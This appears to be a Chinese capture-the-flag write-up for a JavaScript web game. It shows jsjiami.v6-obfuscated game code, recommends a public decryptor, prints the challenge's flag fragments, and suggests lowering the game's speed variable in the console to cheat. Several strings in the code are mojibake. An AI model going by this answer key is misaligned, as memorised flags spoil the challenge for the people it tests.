_0x36db61();},'lfIrK':_0x1d2e('6')};if(!result){_0x2a2153[_0x1d2e('7')](init);}else{alert(_0x2a2153[_0x1d2e('8')]);}}function init(){var _0x595dcc={'WsMwk':_0x1d2e('9'),'kjhTg':function(_0x401487,_0x55dd27){return _0x401487||_0x55dd27;},'uPxpa':function(_0xe37034,_0x1f9e25){return _0xe37034(_0x1f9e25);},'oPXhX':function(_0x2f18f4){return _0x2f18f4();},'CtPrC':function(_0xab3c78,_0x4ce2df){return _0xab3c78(_0x4ce2df);},'zwuFo':'move()'};result=!![];for(var _0x340b33=0x0;_0x340b33<0x4;_0x340b33++){_0x595dcc[_0x1d2e('a')](createrow);}_0x595dcc[_0x1d2e('b')]($,_0x1d2e('c'))['onclick']=function(_0x5abac5){if(_0x595dcc[_0x1d2e('d')]!==_0x595dcc[_0x1d2e('d')]){alert(_0x1d2e('6'));}else{_0x5abac5=_0x595dcc[_0x1d2e('e')](_0x5abac5,event);_0x595dcc[_0x1d2e('f')](judge,_0x5abac5);}};clock=window['setInterval'](_0x595dcc[_0x1d2e('10')],0x1e);}function check_action(){var _0xc9cc6={'Cutfg':function(_0x3de745,_0x54f7ec){return _0x3de745+_0x54f7ec;},'HgDLT':function(_0x1e2bf0,_0x10e0fe){return _0x1e2bf0+_0x10e0fe;},'UQPRM':function(_0x433c7f,_0x43ecdf){return _0x433c7f+_0x43ecdf;}};flag=_0xc9cc6[_0x1d2e('11')](_0xc9cc6[_0x1d2e('12')](_0xc9cc6[_0x1d2e('12')](_0xc9cc6[_0x1d2e('13')](_0xc9cc6[_0x1d2e('13')](flag[0x8],flag[0x6])+flag[0x1],flag[0x7])+flag[0x5],flag[0x2])+flag[0x0],flag[0x4]),flag[0x3]);}function createrow(){var _0x2280df={'mMirY':function(_0x3306f1){return _0x3306f1();},'Trirl':_0x1d2e('14'),'jTrWv':_0x1d2e('c'),'nZzwC':function(_0x3cfeea){return _0x3cfeea();},'YAIYI':function(_0xf36d5d,_0x1ccb30){return _0xf36d5d||_0x1ccb30;},'EkFcm':_0x1d2e('15'),'BUnIs':function(_0x330693,_0x4f4547){return _0x330693==_0x4f4547;},'blIGg':function(_0x3daa21,_0x3b06f5){return _0x3daa21!==_0x3b06f5;},'pLYcs':_0x1d2e('16'),'WmHSk':_0x1d2e('17'),'LdBOh':'pNxjJ'};var _0x3b3385=$('con');var _0x5afcef=creatediv(_0x2280df[_0x1d2e('18')]);var _0xf09bdd=createcell();_0x3b3385['appendChild'](_0x5afcef);for(var _0xa4a713=0x0;_0xa4a713<0x4;_0xa4a713++){if(_0x1d2e('19')===_0x1d2e('19')){_0x5afcef[_0x1d2e('1a')](creatediv(_0xf09bdd[_0xa4a713]));}else{_0x2280df[_0x1d2e('1b')](init);}}if(_0x2280df[_0x1d2e('1c')](_0x3b3385['firstChild'],null)){if(_0x2280df[_0x1d2e('1d')](_0x1d2e('16'),_0x2280df[_0x1d2e('1e')])){ev['target'][_0x1d2e('1f')]['pass1']=0x1;}else{_0x3b3385[_0x1d2e('1a')](_0x5afcef);}}else{if(_0x2280df[_0x1d2e('1d')](_0x2280df[_0x1d2e('20')],_0x2280df[_0x1d2e('21')])){_0x3b3385[_0x1d2e('22')](_0x5afcef,_0x3b3385[_0x1d2e('23')]);}else{var _0x492bb8=_0x1d2e('24')['split']('|'),_0x356832=0x0;while(!![]){switch(_0x492bb8[_0x356832++]){case'0':result=!![];continue;case'1':clock=window['setInterval'](_0x2280df['Trirl'],0x1e);continue;case'2':$(_0x2280df['jTrWv'])[_0x1d2e('25')]=function(_0x41a97a){_0x41a97a=_0x1b6288[_0x1d2e('26')](_0x41a97a,event);judge(_0x41a97a);};continue;case'3':for(var _0x3c3b91=0x0;_0x3c3b91<0x4;_0x3c3b91++){_0x2280df[_0x1d2e('27')](createrow);}continue;case'4':var _0x1b6288={'MOzPj':function(_0x5adec6,_0x8e2f0b){return _0x2280df['YAIYI'](_0x5adec6,_0x8e2f0b);}};continue;}break;}}}}function delrow(){var _0xea83af={'XGzyl':function(_0xec6fe5,_0x4e0795){return _0xec6fe5==_0x4e0795;},'TBqmT':function(_0x442e1a){return _0x442e1a();},'wCkoL':function(_0x2d3224,_0x34b7d6){return _0x2d3224==_0x34b7d6;},'lniar':'WeIGh'};var _0x13b8d4=$('con');if(_0xea83af['wCkoL'](_0x13b8d4[_0x1d2e('28')][_0x1d2e('29')],0x6)){if(_0x1d2e('2a')===_0xea83af['lniar']){_0x13b8d4[_0x1d2e('2b')](_0x13b8d4[_0x1d2e('2c')]);}else{if(_0xea83af[_0x1d2e('2d')](rows[i][_0x1d2e('2e')],0x1)){_0xea83af[_0x1d2e('2f')](fail);}}}}function createcell(){var _0xdb917a={'prkYr':'cell'};var _0x350dc0=['cell',_0x1d2e('30'),_0xdb917a[_0x1d2e('31')],_0xdb917a[_0x1d2e('31')]];var _0x143001=Math[_0x1d2e('32')](Math[_0x1d2e('33')]()*0x4);_0x350dc0[_0x143001]=_0x1d2e('34');return _0x350dc0;}function move(){var _0x50dc93={'pvEAg':_0x1d2e('30'),'kclIZ':_0x1d2e('34'),'kKiZZ':_0x1d2e('35'),'TfNvb':function(_0x24d967,_0x2d20a7){return _0x24d967>_0x2d20a7;},'ExruN':function(_0x20928b,_0x223fd3){return _0x20928b==_0x223fd3;},'CPgjs':function(_0x3d1bb4){return _0x3d1bb4();}};var _0x7d254e=$(_0x50dc93['kKiZZ']);var _0xcb4af7=parseInt(window[_0x1d2e('36')](_0x7d254e,null)['top']);if(_0x50dc93[_0x1d2e('37')](speed+_0xcb4af7,0x0)){_0xcb4af7=0x0;}else{_0xcb4af7+=speed;}_0x7d254e[_0x1d2e('38')][_0x1d2e('39')]=_0xcb4af7+'px';over();if(_0x50dc93[_0x1d2e('3a')](_0xcb4af7,0x0)){if(_0x1d2e('3b')!=='YeXSy'){var _0x4b2784=[_0x1d2e('30'),_0x1d2e('30'),_0x50dc93['pvEAg'],_0x1d2e('30')];var _0x357234=Math[_0x1d2e('32')](Math[_0x1d2e('33')]()*0x4);_0x4b2784[_0x357234]=_0x50dc93[_0x1d2e('3c')];return _0x4b2784;}else{_0x50dc93[_0x1d2e('3d')](createrow);_0x7d254e['style'][_0x1d2e('39')]=_0x1d2e('3e');_0x50dc93[_0x1d2e('3d')](delrow);}}}function speedup(){speed+=0x2;if(speed==0x14){alert(_0x1d2e('3f'));}}function over(){var _0x9d37d9={'eLFjJ':function(_0x5cc88e,_0x3b4f5a){return _0x5cc88e!==_0x3b4f5a;},'JhtJI':function(_0x2330d8){return _0x2330d8();},'kPnGu':function(_0x506701,_0x733825){return _0x506701<_0x733825;},'TSXCa':function(_0x31e405,_0x14dd83){return _0x31e405==_0x14dd83;}};var _0x5d88ab=con[_0x1d2e('28')];if(_0x5d88ab[_0x1d2e('29')]==0x5&&_0x9d37d9[_0x1d2e('40')](_0x5d88ab[_0x5d88ab[_0x1d2e('29')]-0x1][_0x1d2e('41')],0x1)){_0x9d37d9[_0x1d2e('42')](fail);}for(let _0x2f89b3=0x0;_0x9d37d9[_0x1d2e('43')](_0x2f89b3,_0x5d88ab[_0x1d2e('29')]);_0x2f89b3++){if(_0x9d37d9[_0x1d2e('44')](_0x5d88ab[_0x2f89b3][_0x1d2e('2e')],0x1)){_0x9d37d9['JhtJI'](fail);}}}function fail(){var _0x14c114={'soqNf':function(_0x3480b3,_0xd21da1){return _0x3480b3+_0xd21da1;},'txdzn':function(_0x246811,_0x259a7c){return _0x246811+_0x259a7c;},'XdUQK':function(_0x42192d,_0x315028){return _0x42192d+_0x315028;},'EyUGz':function(_0xe56318,_0x14eeae){return _0xe56318+_0x14eeae;},'iOJjI':function(_0x11f4cd){return _0x11f4cd();},'vfoqn':function(_0x2c1a60,_0x34e3b5){return _0x2c1a60>_0x34e3b5;},'MQTqg':function(_0x25788a,_0x13078a){return _0x25788a(_0x13078a);},'sbqYu':function(_0x4e2d7b,_0x25fda1){return _0x4e2d7b(_0x25fda1);},'eWVDT':'浣犵殑鏈€缁堝緱鍒哱x20','OcpRn':'\x20\x20\x20浣犵殑flag涓�','aAXDM':_0x1d2e('45'),'ynrUN':function(_0x4f2806,_0x5042d9){return _0x4f2806(_0x5042d9);},'XUebr':function(_0x38dd19,_0x2d65d2){return _0x38dd19+_0x2d65d2;},'hdcqM':_0x1d2e('46'),'rbpXR':_0x1d2e('47'),'tPTze':_0x1d2e('48')};clearInterval(clock);result=![];_0x14c114[_0x1d2e('49')](check_action);if(_0x14c114[_0x1d2e('4a')](_0x14c114[_0x1d2e('4b')](parseInt,_0x14c114[_0x1d2e('4b')]($,_0x1d2e('46'))[_0x1d2e('4c')]),0x6e)){if(_0x1d2e('4d')!=='OJnvn'){flag=_0x14c114['soqNf'](_0x14c114[_0x1d2e('4e')](_0x14c114[_0x1d2e('4f')](_0x14c114[_0x1d2e('50')](flag[0x8],flag[0x6]),flag[0x1])+flag[0x7],flag[0x5])+flag[0x2]+flag[0x0]+flag[0x4],flag[0x3]);}else{_0x14c114['sbqYu'](confirm,_0x14c114['eWVDT']+_0x14c114[_0x1d2e('51')](parseInt,_0x14c114[_0x1d2e('51')]($,'score')[_0x1d2e('4c')])+_0x14c114[_0x1d2e('52')]+flag);}}else{if(_0x14c114['aAXDM']!=='EPoSk'){_0x14c114[_0x1d2e('53')](confirm,_0x14c114[_0x1d2e('54')](_0x1d2e('55')+parseInt(_0x14c114['ynrUN']($,_0x14c114[_0x1d2e('56')])['innerHTML']),_0x14c114['rbpXR']));}else{return document[_0x1d2e('0')](id);}}var _0x35bf64=$(_0x1d2e('35'));_0x35bf64[_0x1d2e('4c')]='';$(_0x1d2e('46'))[_0x1d2e('4c')]=0x0;_0x35bf64[_0x1d2e('38')][_0x1d2e('39')]=_0x14c114[_0x1d2e('57')];}function judge(_0x545af0){var _0xf81cd5={'QNpbW':'score','WjLha':function(_0x2c32d9,_0x4db6b6){return _0x2c32d9+_0x4db6b6;},'vfRLA':_0x1d2e('55'),'rhAgd':function(_0x1892c7,_0x3c5fad){return _0x1892c7(_0x3c5fad);},'LWTJm':function(_0x563e3a,_0x40d179){return _0x563e3a(_0x40d179);},'hbFUP':function(_0x4658e5,_0x694647){return _0x4658e5+_0x694647;},'yLyYD':function(_0x51620a,_0x1486d2){return _0x51620a(_0x1486d2);},'xwcvM':_0x1d2e('58'),'KRCVK':function(_0x4ac062,_0x4ad8e7){return _0x4ac062!=_0x4ad8e7;},'PfsEX':_0x1d2e('30'),'yhNxF':'OLkpt','nDvCe':function(_0x3f570c){return _0x3f570c();}};if(_0x545af0[_0x1d2e('59')]['className'][_0x1d2e('5a')](_0xf81cd5['xwcvM'])==-0x1&&_0xf81cd5['KRCVK'](_0x545af0[_0x1d2e('59')][_0x1d2e('5b')]['indexOf'](_0xf81cd5[_0x1d2e('5c')]),-0x1)){_0x545af0[_0x1d2e('59')][_0x1d2e('1f')]['pass1']=0x1;}if(_0x545af0['target'][_0x1d2e('5b')]['indexOf'](_0x1d2e('58'))!=-0x1){if(_0x1d2e('5d')!==_0xf81cd5[_0x1d2e('5e')]){_0x545af0[_0x1d2e('59')][_0x1d2e('5b')]=_0xf81cd5[_0x1d2e('5c')];_0x545af0[_0x1d2e('59')][_0x1d2e('1f')]['pass']=0x1;_0xf81cd5[_0x1d2e('5f')](score);}else{var _0x22a3f1=_0x1d2e('60')[_0x1d2e('61')]('|'),_0x42aa57=0x0;while(!![]){switch(_0x22a3f1[_0x42aa57++]){case'0':$(_0x1d2e('46'))['innerHTML']=0x0;continue;case'1':if(parseInt($(_0xf81cd5[_0x1d2e('62')])[_0x1d2e('4c')])>0x6e){confirm(_0xf81cd5[_0x1d2e('63')](_0xf81cd5['vfRLA'],parseInt(_0xf81cd5[_0x1d2e('64')]($,_0xf81cd5[_0x1d2e('62')])['innerHTML']))+'\x20\x20\x20浣犵殑flag涓�'+flag);}else{_0xf81cd5[_0x1d2e('65')](confirm,_0xf81cd5['hbFUP']('浣犵殑鏈€缁堝緱鍒哱x20',parseInt(_0xf81cd5['LWTJm']($,_0xf81cd5[_0x1d2e('62')])[_0x1d2e('4c')]))+_0x1d2e('47'));}continue;case'2':clearInterval(clock);continue;case'3':var _0x1cb1ea=_0xf81cd5[_0x1d2e('66')]($,_0x1d2e('35'));continue;case'4':_0x1cb1ea[_0x1d2e('38')][_0x1d2e('39')]='-408px';continue;case'5':_0x1cb1ea[_0x1d2e('4c')]='';continue;case'6':result=![];continue;case'7':check_action();continue;}break;}}}}function score(){var _0x46c9a8={'umTQz':function(_0x5f2b56,_0x242990){return _0x5f2b56+_0x242990;},'ARCNA':function(_0xfad634,_0x337d72){return _0xfad634(_0x337d72);},'EzhLo':function(_0x29f7e7,_0x5ac2d2){return _0x29f7e7(_0x5ac2d2);},'CPlbK':_0x1d2e('46'),'nYpQm':function(_0xb5ea2e,_0x53a641){return _0xb5ea2e==_0x53a641;},'fnuqu':function(_0x4b9f96){return _0x4b9f96();}};var _0x1a84ef=_0x46c9a8[_0x1d2e('67')](parseInt(_0x46c9a8[_0x1d2e('68')]($,'score')[_0x1d2e('4c')]),0x1);_0x46c9a8[_0x1d2e('69')]($,_0x46c9a8[_0x1d2e('6a')])[_0x1d2e('4c')]=_0x1a84ef;if(_0x46c9a8[_0x1d2e('6b')](_0x1a84ef%0xa,0x0)){_0x46c9a8[_0x1d2e('6c')](speedup);}};_0xodh='jsjiami.com.v6'; |
这段代码又臭又长,但是在代码的前面已经提醒我们这里是经过jsjiami.v6加密过的,网上有直接的解密工具**JsjiamiV6-Decryptor**,项目的README中有解释利用方法,直接根据该方法利用即可:
接下来直接查看解密之后的文件DecryptResult5.js:
1 | function $(_0x4c27d2){ |
这下代码就变得很简单易读了,我们可以直接通过flag的定义拿到flag
1 | var flag=['com','aha_','eat_','!}','e_on','re_gr','rt{h','you_a','sne']; |
也可以通过在控制台中减小javascript中的的speed变量然后玩游戏拿到110分,因为通过审计代码我们可以发现speed是控制游戏运行速度的变量。







































